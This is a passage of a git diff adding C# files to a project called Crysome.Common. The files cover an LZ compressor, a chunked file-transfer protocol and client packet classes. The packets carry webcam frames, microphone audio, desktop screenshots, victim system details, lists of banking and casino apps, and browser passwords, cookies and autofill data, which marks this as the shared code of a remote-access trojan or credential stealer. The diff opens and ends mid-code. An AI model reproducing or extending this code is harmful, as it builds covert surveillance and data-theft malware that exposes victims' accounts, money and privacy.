array4[num15, b & 0xF] = i; + b++; + array3[num15] = b; + if (num16 >= 3 && i - num18 < 131071) + { + int num19 = i - num18; + for (int l = 1; l < num16; l++) + { + num3 = source[i + l] | (source[i + l + 1] << 8) | (source[i + l + 2] << 16); + num15 = ((num3 >> 12) ^ num3) & 0xFFF; + array4[num15, array3[num15]++ & 0xF] = i + l; + } + i += num16; + num2 = (num2 >> 1) | 0x80000000u; + if (num16 == 3 && num19 <= 63) + { + FastWrite(array, num, num19 << 2, 1); + num++; + } + else if (num16 == 3 && num19 <= 16383) + { + FastWrite(array, num, (num19 << 2) | 1, 2); + num += 2; + } + else if (num16 <= 18 && num19 <= 1023) + { + FastWrite(array, num, (num16 - 3 << 2) | (num19 << 6) | 2, 2); + num += 2; + } + else if (num16 <= 33) + { + FastWrite(array, num, (num16 - 2 << 2) | (num19 << 7) | 3, 3); + num += 3; + } + else + { + FastWrite(array, num, (num16 - 3 << 7) | (num19 << 15) | 3, 4); + num += 4; + } + num5 = 0; + } + else + { + array[num] = source[i]; + num2 >>= 1; + i++; + num++; + } + } + while (i <= source.Length - 1) + { + if ((num2 & 1) == 1) + { + FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4); + i2 = num; + num += 4; + num2 = 2147483648u; + } + array[num] = source[i]; + i++; + num++; + num2 >>= 1; + } + while ((num2 & 1) != 1) + { + num2 >>= 1; + } + FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4); + WriteHeader(array, level, compressible: true, source.Length, num); + array5 = new byte[num]; + Array.Copy(array, array5, num); + return array5; + } + + private static void FastWrite(byte[] a, int i, int value, int numbytes) + { + for (int j = 0; j < numbytes; j++) + { + a[i + j] = (byte)(value >> j * 8); + } + } + + public static byte[] Decompress(byte[] source) + { + int num = SizeDecompressed(source); + int num2 = HeaderLen(source); + int num3 = 0; + uint num4 = 1u; + byte[] array = new byte[num]; + int[] array2 = new int[4096]; + byte[] array3 = new byte[4096]; + int num5 = num - 6 - 4 - 1; + int num6 = -1; + uint num7 = 0u; + int num8 = (source[0] >> 2) & 3; + if (num8 != 1 && num8 != 3) + { + throw new ArgumentException("C# version only supports level 1 and 3"); + } + if ((source[0] & 1) != 1) + { + byte[] array4 = new byte[num]; + Array.Copy(source, HeaderLen(source), array4, 0, num); + return array4; + } + while (true) + { + if (num4 == 1) + { + num4 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)); + num2 += 4; + if (num3 <= num5) + { + num7 = (uint)((num8 != 1) ? (source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)) : (source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16))); + } + } + if ((num4 & 1) == 1) + { + num4 >>= 1; + uint num10; + uint num11; + if (num8 == 1) + { + int num9 = ((int)num7 >> 4) & 0xFFF; + num10 = (uint)array2[num9]; + if ((num7 & 0xF) != 0) + { + num11 = (num7 & 0xF) + 2; + num2 += 2; + } + else + { + num11 = source[num2 + 2]; + num2 += 3; + } + } + else + { + uint num12; + if ((num7 & 3) == 0) + { + num12 = (num7 & 0xFF) >> 2; + num11 = 3u; + num2++; + } + else if ((num7 & 2) == 0) + { + num12 = (num7 & 0xFFFF) >> 2; + num11 = 3u; + num2 += 2; + } + else if ((num7 & 1) == 0) + { + num12 = (num7 & 0xFFFF) >> 6; + num11 = ((num7 >> 2) & 0xF) + 3; + num2 += 2; + } + else if ((num7 & 0x7F) != 3) + { + num12 = (num7 >> 7) & 0x1FFFF; + num11 = ((num7 >> 2) & 0x1F) + 2; + num2 += 3; + } + else + { + num12 = num7 >> 15; + num11 = ((num7 >> 7) & 0xFF) + 3; + num2 += 4; + } + num10 = (uint)(num3 - num12); + } + array[num3] = array[num10]; + array[num3 + 1] = array[num10 + 1]; + array[num3 + 2] = array[num10 + 2]; + for (int i = 3; i < num11; i++) + { + array[num3 + i] = array[num10 + i]; + } + num3 += (int)num11; + if (num8 == 1) + { + num7 = (uint)(array[num6 + 1] | (array[num6 + 2] << 8) | (array[num6 + 3] << 16)); + while (num6 < num3 - num11) + { + num6++; + int num9 = (int)(((num7 >> 12) ^ num7) & 0xFFF); + array2[num9] = num6; + array3[num9] = 1; + num7 = (uint)(((num7 >> 8) & 0xFFFF) | (array[num6 + 3] << 16)); + } + num7 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16)); + } + else + { + num7 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)); + } + num6 = num3 - 1; + continue; + } + if (num3 > num5) + { + break; + } + array[num3] = source[num2]; + num3++; + num2++; + num4 >>= 1; + if (num8 == 1) + { + while (num6 < num3 - 3) + { + num6++; + int num13 = array[num6] | (array[num6 + 1] << 8) | (array[num6 + 2] << 16); + int num9 = ((num13 >> 12) ^ num13) & 0xFFF; + array2[num9] = num6; + array3[num9] = 1; + } + num7 = (uint)(((num7 >> 8) & 0xFFFF) | (source[num2 + 2] << 16)); + } + else + { + num7 = (uint)(((num7 >> 8) & 0xFFFF) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)); + } + } + while (num3 <= num - 1) + { + if (num4 == 1) + { + num2 += 4; + num4 = 2147483648u; + } + array[num3] = source[num2]; + num3++; + num2++; + num4 >>= 1; + } + return array; + } +} diff --git a/Crysome.Common/Crysome.Common.Model/FileSystemEntry.cs b/Crysome.Common/Crysome.Common.Model/FileSystemEntry.cs new file mode 100644 index 0000000..8df0c07 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Model/FileSystemEntry.cs @@ -0,0 +1,52 @@ +using System; + +namespace Crysome.Common.Model; + +public class FileSystemEntry +{ + public string Name { get; set; } + + public string Path { get; set; } + + public long Size { get; set; } + + public FileType Type { get; set; } + + public long LastWriteUtcTicks { get; set; } + + public byte[] IconPng { get; set; } + + public DateTime LastWriteUtc + { + get + { + if (LastWriteUtcTicks <= 0) + { + return DateTime.MinValue; + } + return new DateTime(LastWriteUtcTicks, DateTimeKind.Utc); + } + } + + public string ModifiedDisplay + { + get + { + if (LastWriteUtcTicks <= 0) + { + return ""; + } + return new DateTime(LastWriteUtcTicks, DateTimeKind.Utc).ToLocalTime().ToString("yyyy-MM-dd HH:mm"); + } + } + + public FileSystemEntry(string name, string path, long size, FileType type, long lastWriteUtcTicks = 0L, byte[] iconPng = null) + { + Name = name; + Path = path; + Size = size; + Type = type; + LastWriteUtcTicks = lastWriteUtcTicks; + IconPng = iconPng; + } +} diff --git a/Crysome.Common/Crysome.Common.Model/FileType.cs b/Crysome.Common/Crysome.Common.Model/FileType.cs new file mode 100644 index 0000000..3c7fdad --- /dev/null +++ b/Crysome.Common/Crysome.Common.Model/FileType.cs @@ -0,0 +1,7 @@ +namespace Crysome.Common.Model; + +public enum FileType +{ + Directory, + File +} diff --git a/Crysome.Common/Crysome.Common.Network.FileTransfer/Crc32.cs b/Crysome.Common/Crysome.Common.Network.FileTransfer/Crc32.cs new file mode 100644 index 0000000..79d237b --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.FileTransfer/Crc32.cs @@ -0,0 +1,32 @@ +namespace Crysome.Common.Network.FileTransfer; + +internal static class Crc32 +{ + private static readonly uint[] _table = Build(); + + private static uint[] Build() + { + uint[] array = new uint[256]; + for (uint num = 0u; num < 256; num++) + { + uint num2 = num; + for (int i = 0; i < 8; i++) + { + num2 = (((num2 & 1) != 0) ? (0xEDB88320u ^ (num2 >> 1)) : (num2 >> 1)); + } + array[num] = num2; + } + return array; + } + + internal static uint Compute(byte[] data, int offset, int len) + { + uint num = uint.MaxValue; + int num2 = offset + len; + for (int i = offset; i < num2; i++) + { + num = (num >> 8) ^ _table[(num ^ data[i]) & 0xFF]; + } + return num ^ 0xFFFFFFFFu; + } +} diff --git a/Crysome.Common/Crysome.Common.Network.FileTransfer/FtAbortPacket.cs b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtAbortPacket.cs new file mode 100644 index 0000000..bd1d566 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtAbortPacket.cs @@ -0,0 +1,23 @@ +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtAbortPacket : IPacket +{ + public uint TransferId; + + public string Reason; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(Reason ?? ""); + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + Reason = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.FileTransfer/FtChunkPacket.cs b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtChunkPacket.cs new file mode 100644 index 0000000..3d3b03a --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtChunkPacket.cs @@ -0,0 +1,38 @@ +using System; +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtChunkPacket : IPacket +{ + public uint TransferId; + + public int ChunkIdx; + + public uint Crc32; + + public byte[] Data; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(ChunkIdx); + w.Write(Crc32); + int num = ((Data != null) ? Data.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(Data); + } + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + ChunkIdx = r.ReadInt32(); + Crc32 = r.ReadUInt32(); + int num = r.ReadInt32(); + Data = ((num > 0) ? r.ReadBytes(num) : Array.Empty()); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.FileTransfer/FtDonePacket.cs b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtDonePacket.cs new file mode 100644 index 0000000..bd557b8 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtDonePacket.cs @@ -0,0 +1,27 @@ +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtDonePacket : IPacket +{ + public uint TransferId; + + public bool Success; + + public string Message; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(Success); + w.Write(Message ?? ""); + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + Success = r.ReadBoolean(); + Message = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.FileTransfer/FtReceiver.cs b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtReceiver.cs new file mode 100644 index 0000000..d09f12b --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtReceiver.cs @@ -0,0 +1,162 @@ +using System; +using System.Collections.Generic; +using System.Security.Cryptography; +using System.Threading; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtReceiver +{ + private const int SackIntervalMs = 200; + + private readonly CrysomeClient _client; + + private uint _id; + + private string _fileName; + + private int _totalChunks; + + private long _totalBytes; + + private byte[] _expectedSha256; + + private byte[][] _chunks; + + private bool[] _received; + + private int _receivedCount; + + private int _highestContiguous = -1; + + private int _lastSackTick; + + private bool _finalised; + + public Action OnComplete; + + public Action OnError; + + public FtReceiver(CrysomeClient client) + { + _client = client; + } + + public void HandleStart(FtStartPacket p) + { + _id = p.TransferId; + _fileName = p.FileName; + _totalChunks = Math.Max(1, p.TotalChunks); + _totalBytes = p.TotalBytes; + _expectedSha256 = p.Sha256; + _chunks = new byte[_totalChunks][]; + _received = new bool[_totalChunks]; + _receivedCount = 0; + _highestContiguous = -1; + _lastSackTick = Environment.TickCount - 400; + _finalised = false; + } + + public void HandleChunk(FtChunkPacket p) + { + if (_chunks == null || p.TransferId != _id || _finalised) + { + return; + } + int chunkIdx = p.ChunkIdx; + if (chunkIdx >= 0 && chunkIdx < _totalChunks && !_received[chunkIdx] && p.Data != null && Crc32.Compute(p.Data, 0, p.Data.Length) == p.Crc32) + { + _chunks[chunkIdx] = p.Data; + _received[chunkIdx] = true; + Interlocked.Increment(ref _receivedCount); + while (_highestContiguous + 1 < _totalChunks && _received[_highestContiguous + 1]) + { + _highestContiguous++; + } + int tickCount = Environment.TickCount; + bool num = _receivedCount == _totalChunks; + if (num || tickCount - _lastSackTick >= 200) + { + _lastSackTick = tickCount; + SendSack(); + } + if (num) + { + Finalise(); + } + } + } + + public void HandleAbort(FtAbortPacket p) + { + if (p.TransferId == _id) + { + OnError?.Invoke("Transfer aborted by sender: " + p.Reason); + } + } + + private void SendSack() + { + List list = new List(); + int num = _highestContiguous + 1; + int num2 = Math.Min(_totalChunks, num + 64); + for (int i = num; i < num2; i++) + { + if (!_received[i]) + { + list.Add(i); + } + } + _client.SendPacket(new FtSackPacket + { + TransferId = _id, + HighestContiguous = _highestContiguous, + NackList = list.ToArray() + }); + } + + private void Finalise() + { + if (_finalised) + { + return; + } + _finalised = true; + byte[] array = new byte[_totalBytes]; + long num = 0L; + for (int i = 0; i < _totalChunks; i++) + { + byte[] array2 = _chunks[i]; + Buffer.BlockCopy(array2, 0, array, (int)num, array2.Length); + num += array2.Length; + } + byte[] array3; + using (SHA256 sHA = SHA256.Create()) + { + array3 = sHA.ComputeHash(array); + } + bool flag = true; + for (int j = 0; j < 32; j++) + { + if (array3[j] != _expectedSha256[j]) + { + flag = false; + break; + } + } + _client.SendPacket(new FtDonePacket + { + TransferId = _id, + Success = flag, + Message = (flag ? "OK" : "HASH_MISMATCH") + }); + if (flag) + { + OnComplete?.Invoke(_fileName, array); + } + else + { + OnError?.Invoke("SHA-256 mismatch — file rejected"); + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.FileTransfer/FtSackPacket.cs b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtSackPacket.cs new file mode 100644 index 0000000..311810e --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtSackPacket.cs @@ -0,0 +1,38 @@ +using System; +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtSackPacket : IPacket +{ + public uint TransferId; + + public int HighestContiguous; + + public int[] NackList; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(HighestContiguous); + short num = (short)((NackList != null) ? Math.Min(NackList.Length, 128) : 0); + w.Write(num); + for (int i = 0; i < num; i++) + { + w.Write(NackList[i]); + } + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + HighestContiguous = r.ReadInt32(); + int num = r.ReadInt16(); + NackList = new int[num]; + for (int i = 0; i < num; i++) + { + NackList[i] = r.ReadInt32(); + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.FileTransfer/FtSender.cs b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtSender.cs new file mode 100644 index 0000000..00cf416 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtSender.cs @@ -0,0 +1,172 @@ +using System; +using System.Security.Cryptography; +using System.Threading; +using System.Threading.Tasks; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtSender +{ + public const int ChunkSize = 1200; + + private const int AbortTimeoutMs = 600000; + + private const int SackWaitMs = 500; + + private const int ChunkPaceMs = 2; + + private readonly CrysomeClient _client; + + private readonly byte[] _data; + + private readonly string _fileName; + + private readonly byte[] _sha256; + + private volatile bool _done; + + private volatile int _ackedChunks; + + public Action OnDone; + + private static int _nextId; + + public uint TransferId { get; } + + public int TotalChunks => Math.Max(1, (_data.Length + 1200 - 1) / 1200); + + public FtSender(CrysomeClient client, string fileName, byte[] data) + { + _client = client; + _data = data; + _fileName = fileName; + TransferId = (uint)Interlocked.Increment(ref _nextId); + using SHA256 sHA = SHA256.Create(); + _sha256 = sHA.ComputeHash(data); + } + + public void Start() + { + Task.Run((Action)Run); + } + + public void HandleDone(FtDonePacket p) + { + if (p.TransferId == TransferId) + { + _done = true; + OnDone?.Invoke(TransferId, p.Success, p.Message); + } + } + + public void HandleSack(FtSackPacket p) + { + if (p.TransferId != TransferId || _done) + { + return; + } + if (p.HighestContiguous >= 0) + { + _ackedChunks = Math.Max(_ackedChunks, p.HighestContiguous + 1); + } + if (p.NackList == null) + { + return; + } + int[] nackList = p.NackList; + foreach (int num in nackList) + { + if (num >= 0 && num < TotalChunks) + { + SendChunk(num); + } + } + } + + private void Run() + { + try + { + int totalChunks = TotalChunks; + _client.SendPacket(new FtStartPacket + { + TransferId = TransferId, + FileName = _fileName, + TotalChunks = totalChunks, + ChunkSize = 1200, + TotalBytes = _data.Length, + Sha256 = _sha256 + }); + Thread.Sleep(50); + DateTime utcNow = DateTime.UtcNow; + int num = 0; + DateTime utcNow2 = DateTime.UtcNow; + for (int i = 0; i < totalChunks; i++) + { + if (_done) + { + break; + } + SendChunk(i); + if (i % 32 == 31) + { + Thread.Sleep(2); + } + if ((DateTime.UtcNow - utcNow).TotalMilliseconds > 600000.0) + { + _client.SendPacket(new FtAbortPacket + { + TransferId = TransferId, + Reason = "Sender timeout" + }); + OnDone?.Invoke(TransferId, arg2: false, "ERR: Send timeout"); + return; + } + } + utcNow2 = DateTime.UtcNow; + num = _ackedChunks; + while (!_done) + { + Thread.Sleep(500); + int ackedChunks = _ackedChunks; + if (ackedChunks > num) + { + num = ackedChunks; + utcNow2 = DateTime.UtcNow; + } + double totalMilliseconds = (DateTime.UtcNow - utcNow2).TotalMilliseconds; + double totalMilliseconds2 = (DateTime.UtcNow - utcNow).TotalMilliseconds; + if (totalMilliseconds > 60000.0 || totalMilliseconds2 > 600000.0) + { + _client.SendPacket(new FtAbortPacket + { + TransferId = TransferId, + Reason = "Done-ack timeout" + }); + OnDone?.Invoke(TransferId, arg2: false, "ERR: No confirmation from client"); + break; + } + } + } + catch (Exception ex) + { + _done = true; + OnDone?.Invoke(TransferId, arg2: false, "ERR: " + ex.Message); + } + } + + private void SendChunk(int idx) + { + int num = idx * 1200; + int num2 = Math.Min(1200, _data.Length - num); + byte[] array = new byte[num2]; + Buffer.BlockCopy(_data, num, array, 0, num2); + _client.SendPacket(new FtChunkPacket + { + TransferId = TransferId, + ChunkIdx = idx, + Crc32 = Crc32.Compute(_data, num, num2), + Data = array + }); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.FileTransfer/FtStartPacket.cs b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtStartPacket.cs new file mode 100644 index 0000000..d800e2d --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.FileTransfer/FtStartPacket.cs @@ -0,0 +1,39 @@ +using System.IO; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network.FileTransfer; + +public sealed class FtStartPacket : IPacket +{ + public uint TransferId; + + public string FileName; + + public int TotalChunks; + + public int ChunkSize; + + public long TotalBytes; + + public byte[] Sha256; + + public void Write(BinaryWriter w) + { + w.Write(TransferId); + w.Write(FileName ?? ""); + w.Write(TotalChunks); + w.Write(ChunkSize); + w.Write(TotalBytes); + w.Write(Sha256 ?? new byte[32]); + } + + public void Read(BinaryReader r) + { + TransferId = r.ReadUInt32(); + FileName = r.ReadString(); + TotalChunks = r.ReadInt32(); + ChunkSize = r.ReadInt32(); + TotalBytes = r.ReadInt64(); + Sha256 = r.ReadBytes(32); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioDataPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioDataPacket.cs new file mode 100644 index 0000000..b73c694 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioDataPacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class AudioDataPacket : IPacket +{ + public byte[] WavData { get; set; } + + public AudioDataPacket() + { + } + + public AudioDataPacket(byte[] wavData) + { + WavData = wavData; + } + + public void Write(BinaryWriter w) + { + w.Write((WavData != null) ? WavData.Length : 0); + if (WavData != null && WavData.Length != 0) + { + w.Write(WavData); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + WavData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioDevicesResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioDevicesResponsePacket.cs new file mode 100644 index 0000000..5915c04 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioDevicesResponsePacket.cs @@ -0,0 +1,42 @@ +using System; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class AudioDevicesResponsePacket : IPacket +{ + public string[] DeviceNames { get; set; } = Array.Empty(); + + public AudioDevicesResponsePacket() + { + } + + public AudioDevicesResponsePacket(string[] names) + { + DeviceNames = names ?? Array.Empty(); + } + + public void Write(BinaryWriter w) + { + string[] deviceNames = DeviceNames; + w.Write((deviceNames != null) ? deviceNames.Length : 0); + if (DeviceNames != null) + { + string[] deviceNames2 = DeviceNames; + foreach (string text in deviceNames2) + { + w.Write(text ?? ""); + } + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + DeviceNames = new string[num]; + for (int i = 0; i < num; i++) + { + DeviceNames[i] = r.ReadString(); + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioStreamChunkPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioStreamChunkPacket.cs new file mode 100644 index 0000000..31c1746 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/AudioStreamChunkPacket.cs @@ -0,0 +1,33 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class AudioStreamChunkPacket : IPacket +{ + public byte[] Chunk { get; set; } = new byte[0]; + + public AudioStreamChunkPacket() + { + } + + public AudioStreamChunkPacket(byte[] chunk) + { + Chunk = chunk ?? new byte[0]; + } + + public void Write(BinaryWriter w) + { + byte[] chunk = Chunk; + w.Write((chunk != null) ? chunk.Length : 0); + if (Chunk != null && Chunk.Length != 0) + { + w.Write(Chunk); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + Chunk = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/CameraDevicesResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/CameraDevicesResponsePacket.cs new file mode 100644 index 0000000..0ab5259 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/CameraDevicesResponsePacket.cs @@ -0,0 +1,42 @@ +using System; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class CameraDevicesResponsePacket : IPacket +{ + public string[] DeviceNames { get; set; } = Array.Empty(); + + public CameraDevicesResponsePacket() + { + } + + public CameraDevicesResponsePacket(string[] names) + { + DeviceNames = names ?? Array.Empty(); + } + + public void Write(BinaryWriter w) + { + string[] deviceNames = DeviceNames; + w.Write((deviceNames != null) ? deviceNames.Length : 0); + if (DeviceNames != null) + { + string[] deviceNames2 = DeviceNames; + foreach (string text in deviceNames2) + { + w.Write(text ?? ""); + } + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + DeviceNames = new string[num]; + for (int i = 0; i < num; i++) + { + DeviceNames[i] = r.ReadString(); + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/CameraFramePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/CameraFramePacket.cs new file mode 100644 index 0000000..316b69d --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/CameraFramePacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class CameraFramePacket : IPacket +{ + public byte[] JpegData { get; set; } + + public CameraFramePacket() + { + } + + public CameraFramePacket(byte[] jpegData) + { + JpegData = jpegData; + } + + public void Write(BinaryWriter w) + { + w.Write((JpegData != null) ? JpegData.Length : 0); + if (JpegData != null && JpegData.Length != 0) + { + w.Write(JpegData); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + JpegData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ClientInfoResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ClientInfoResponsePacket.cs new file mode 100644 index 0000000..56e4cfa --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ClientInfoResponsePacket.cs @@ -0,0 +1,77 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ClientInfoResponsePacket : IPacket +{ + public string Identifier { get; set; } + + public string Address { get; set; } + + public int Port { get; set; } + + public string Username { get; set; } + + public string ComputerName { get; set; } + + public string OS { get; set; } + + public string ActiveWindow { get; set; } + + public string Uptime { get; set; } + + public string CountryCode { get; set; } + + public string Group { get; set; } + + public string GPU { get; set; } + + public ClientInfoResponsePacket() + { + } + + public ClientInfoResponsePacket(string identifier, string address, int port, string username, string computerName, string os, string activeWindow, string uptime, string countryCode, string group, string gpu = "") + { + Identifier = identifier; + Address = address; + Port = port; + Username = username; + ComputerName = computerName; + OS = os; + ActiveWindow = activeWindow; + Uptime = uptime; + CountryCode = countryCode; + Group = group; + GPU = gpu; + } + + public void Write(BinaryWriter w) + { + w.Write(Identifier ?? ""); + w.Write(Address ?? ""); + w.Write(Port); + w.Write(Username ?? ""); + w.Write(ComputerName ?? ""); + w.Write(OS ?? ""); + w.Write(ActiveWindow ?? ""); + w.Write(Uptime ?? ""); + w.Write(CountryCode ?? ""); + w.Write(Group ?? ""); + w.Write(GPU ?? ""); + } + + public void Read(BinaryReader r) + { + Identifier = r.ReadString(); + Address = r.ReadString(); + Port = r.ReadInt32(); + Username = r.ReadString(); + ComputerName = r.ReadString(); + OS = r.ReadString(); + ActiveWindow = r.ReadString(); + Uptime = r.ReadString(); + CountryCode = r.ReadString(); + Group = r.ReadString(); + GPU = r.ReadString(); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/ClientInventoryReportPacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/ClientInventoryReportPacket.cs new file mode 100644 index 0000000..22dd6a6 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/ClientInventoryReportPacket.cs @@ -0,0 +1,33 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ClientInventoryReportPacket : IPacket +{ + public string AppsJson { get; set; } + + public string BankJson { get; set; } + + public string CasinoJson { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(AppsJson ?? ""); + w.Write(BankJson ?? ""); + w.Write(CasinoJson ?? ""); + } + + public void Read(BinaryReader r) + { + AppsJson = r.ReadString(); + BankJson = r.ReadString(); + try + { + CasinoJson = r.ReadString(); + } + catch + { + CasinoJson = ""; + } + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/CredentialsResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/CredentialsResponsePacket.cs new file mode 100644 index 0000000..410700b --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/CredentialsResponsePacket.cs @@ -0,0 +1,63 @@ +using System.IO; +using System.Text; + +namespace Crysome.Common.Network.Packets.Client; + +public class CredentialsResponsePacket : IPacket +{ + public string ErrorMessage { get; set; } + + public string PasswordsJson { get; set; } + + public string CookiesJson { get; set; } + + public string AutofillsJson { get; set; } + + public CredentialsResponsePacket() + { + } + + public CredentialsResponsePacket(string errorMessage, string passwordsJson = null, string cookiesJson = null, string autofillsJson = null) + { + ErrorMessage = errorMessage ?? ""; + PasswordsJson = passwordsJson ?? ""; + CookiesJson = cookiesJson ?? ""; + AutofillsJson = autofillsJson ?? ""; + } + + public void Write(BinaryWriter w) + { + WriteString(w, ErrorMessage); + WriteString(w, PasswordsJson); + WriteString(w, CookiesJson); + WriteString(w, AutofillsJson); + } + + public void Read(BinaryReader r) + { + ErrorMessage = ReadString(r); + PasswordsJson = ReadString(r); + CookiesJson = ReadString(r); + AutofillsJson = ReadString(r); + } + + private static void WriteString(BinaryWriter w, string s) + { + byte[] bytes = Encoding.UTF8.GetBytes(s ?? ""); + w.Write(bytes.Length); + if (bytes.Length != 0) + { + w.Write(bytes); + } + } + + private static string ReadString(BinaryReader r) + { + int num = r.ReadInt32(); + if (num <= 0) + { + return ""; + } + return Encoding.UTF8.GetString(r.ReadBytes(num)); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/DesktopFramePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/DesktopFramePacket.cs new file mode 100644 index 0000000..4b66f3a --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/DesktopFramePacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class DesktopFramePacket : IPacket +{ + public byte[] ImageData { get; set; } + + public DesktopFramePacket() + { + } + + public DesktopFramePacket(byte[] imageData) + { + ImageData = imageData; + } + + public void Write(BinaryWriter w) + { + w.Write((ImageData != null) ? ImageData.Length : 0); + if (ImageData != null && ImageData.Length != 0) + { + w.Write(ImageData); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common/Crysome.Common.Network.Packets.Client/DirectLinkResponsePacket.cs b/Crysome.Common/Crysome.Common.Network.Packets.Client/DirectLinkResponsePacket.cs new file mode 100644 index 0000000..271d3a1 --- /dev/null +++ b/Crysome.Common/Crysome.Common.Network.Packets.Client/DirectLinkResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class DirectLinkResponsePacket : IPacket +{ + public string Status { get; set; } + + public DirectLinkResponsePacket() + { + } + + public DirectLinkResponsePacket(string status) + { + Status = status; + } + + public void 